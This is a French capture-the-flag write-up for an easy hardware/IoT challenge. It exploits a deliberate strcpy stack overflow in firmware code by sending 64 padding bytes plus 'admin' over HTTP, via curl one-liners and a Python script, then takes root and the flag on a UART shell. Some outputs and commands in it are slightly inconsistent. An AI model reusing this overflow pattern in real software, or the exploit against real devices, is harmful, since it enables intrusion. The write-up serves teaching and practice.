Phantom Liberty - InterIUT CTF 2026 🇫🇷

Writeup

Writeups pour le challenge Phantom Liberty de difficulté Easy que j'ai créé pour l'InterIUT 2026

hardwarebfoUARTiot

Auteur : Math-X

Contexte

On dispose d'une interface web supposément hébergée sur une puce volée au département R&D de MilSec. L'énoncé du challenge :

L'un de nos agents a volé cette puce au département R&D de MilSec. Nous ignorons ce qu'elle contient pour l'instant, nous avons seulement défacé l'interface web et dumpé les sources du serveur embarqué. En l'inspectant un peu plus, on pourrait peut être trouver quelque chose d'intéressant.

Deux services réseau sont exposés :

Service Port Description
HTTP 7777 Interface web
TCP 5555 Shell série UART

Le code source du firmware (server.cpp) est fourni en pièce jointe du challenge.

Étape 1 : Reconnaissance

1.1 Page d'accueil

En naviguant sur http://<target>:7777, on tombe sur une page d'accueil défacée par Null-Syndicate :

Hello NetRunner, welcome to Null-Syndicate!
One of our agents stole this chip from the MilSec R&D department.
[...] The original web interface is here: → Good Luck ←

Le lien mène vers relic.html.

1.2 Interface Relic

relic.html est une interface terminal. On tente quelques commandes évidentes :

$ help
Available commands: help, whoami, exit. But none will help you.

$ whoami
You are nobody. For now.

$ exit
You can't leave. The Relic has no exit.

Avec des caractères spéciaux :

$ ls; id
[HTTP 418] Even my bootloader laughs at you.

$ $(whoami)
[HTTP 500] NODAOZDOZONBFZAROUH3 What did you do?

Les commandes contenant ;, $, |, backticks, guillemets renvoient un code HTTP aléatoire (400, 403, 418, 500, 503).

Tentative directe d'accès admin :

$ admin
[HTTP 403] Access denied. You are not admin. (yet)

Le (yet) est un indice il existe un moyen de devenir admin.

1.3 Découverte du shell UART

Le challenge expose le port 5555. Connexion via nc :

nc <target> 5555
╔══════════════════════════════════╗
║  RELIC  ·  UART SHELL  v1.0      ║
║  Null-Syndicate  //  MilSec R&D  ║
╚══════════════════════════════════╝

$ help
Available commands:
  help      - Show this help message
  whoami    - Display your identity
  exit      - Try to exit (hint: you can't)
  status    - Check the status of the device
  admin     - [LOCKED] requires elevated privileges

La commande admin est listée mais verrouillée :

$ admin
Permission denied. Nice try.

$ whoami
uid=1337(nobody) gid=1337(nobody) groups=1337(nobody)

$ status
Device : RELIC-MK1
Uptime : 69d 04h 20m 00s
Shell  : user (restricted)
Hint   : something in this shell is not what it seems...

admin est verrouillé sur l'UART, et bloqué en HTTP 403 sur l'interface web. L'indice du status (« something in this shell is not what it seems ») suggère de creuser plus loin.


Étape 2 : Analyse du code source

L'énoncé indique que les sources du firmware ont été dumpées. On ouvre server.cpp et on tombe rapidement sur la fonction handleRelicApi() :

void handleRelicApi() {
    String cmdStr = server.arg("cmd");
    char cmd_buf[64];

    if ((int)cmdStr.length() <= (int)sizeof(cmd_buf)) {
        strncpy(cmd_buf, cmdStr.c_str(), sizeof(cmd_buf));
        cmd_buf[sizeof(cmd_buf) - 1] = '\0';
    } else {
        strcpy(cmd_buf, cmdStr.c_str());

        if (strstr(cmd_buf + sizeof(cmd_buf), "admin")) {
            shellState = SHELL_ADMIN;
            server.send(200, "application/json",
              "{\"msg\":\"Relic: I see you struggle. Keep trying, little hacker.\"}");
            return;
        }

        server.send(200, "text/plain", "????\r\nCorrupted stack.\r\n");
        return;
    }

    if (cmd.indexOf("admin") >= 0) {
        server.send(403, ...);
        return;
    }
    // ...
}

Deux observations critiques :

  1. Une branche utilise strcpy() sur l'input utilisateur dans un buffer de pile fixe de 64 octets, pas de bounds checking.
  2. strstr() est appelé après la fin du buffer (cmd_buf + sizeof(cmd_buf)), c'est-à-dire dans la zone d'overflow.

Étape 3 : Compréhension de la vulnérabilité

L'idée :

  • Input ≤ 64 octets → branche « sûre » → la vérification admin renvoie un 403.
  • Input > 64 octets → branche strcpy() → la vérification 403 est complètement contournée. À la place, strstr() scanne la zone juste après le buffer. Si la chaîne "admin" s'y trouve, shellState bascule sur SHELL_ADMIN.

Autrement dit : envoyer admin en input court hit le check 403, mais envoyer admin après 64 octets de padding prend la branche d'overflow, et strstr() retrouve "admin" dans la région débordée le state passe admin en mémoire firmware.

Étape 4 : Exploitation

Exactement 64 octets réponse normale, branche safe :

curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64)')"
{"msg":"Relic: I see you struggle. Keep trying, little hacker."}

65 octets, sans gadget — overflow confirmé, pile corrompue :

curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*65)')"
????
Corrupted stack.

Offset 64 = boundary exacte. Octet 65+ tombe dans la zone d'overflow.

Étape 5 — Construction de l'exploit

┌───────────────────────────────────────┬───────────┐
│  64 octets de padding                 │  "admin"  │
│  AAAAAAAAAAAAAAAA...AAAAAAAA (×64)    │           │
└───────────────────────────────────────┴───────────┘
 ↑                                       ↑
 remplit cmd_buf exactement              zone d'overflow
                                         strstr trouve "admin" ici
                                         → shellState = SHELL_ADMIN
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"

Réponse :

{"msg":"Relic: I see you struggle. Keep trying, little hacker."}

La réponse paraît parfaitement normale, l'exploit fonctionne silencieusement. shellState a basculé dans la mémoire du firmware, mais l'interface web ne montre rien. Il faut vérifier côté UART.

Étape 6 — Récupération du flag via UART

On se reconnecte à l'UART :

nc <target> 5555

Vérification de l'élévation de privilèges :

$ whoami
uid=0(root) gid=0(root) groups=0(root)

$ status
Device : RELIC-MK1
Uptime : 67d 04h 20m 00s
Shell  : admin (UNRESTRICTED)
Memory : stack integrity COMPROMISED
Note   : buffer overflow detected in cmd_buf — too late to patch.

Exécution de la commande admin précédemment verrouillée :

$ admin
You are already root. There is nowhere higher to go.
Flag: INTERIUT{w4k3_Th3_f*Ck_uP_S4mUr41}

Exploit complet

# 1. Déclencher le buffer overflow
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"

# 2. Récupérer le flag via UART
nc <target> 5555
# puis : flag

Version automatisée :

#!/usr/bin/env python3
import socket, requests, time

HOST = "<target>"

# Étape 1 — déclencher la BOF via HTTP
payload = "A" * 64 + "admin"
r = requests.get(f"http://{HOST}:7777/relic_api", params={"cmd": payload})
print(f"[*] HTTP {r.status_code}: {r.text.strip()}")

# Étape 2 récupérer le flag via UART
time.sleep(0.5)
s = socket.create_connection((HOST, 5555))
s.recv(512)              # discard banner
s.sendall(b"flag\r\n")
time.sleep(0.2)
print("[+]", s.recv(256).decode().strip())
s.close()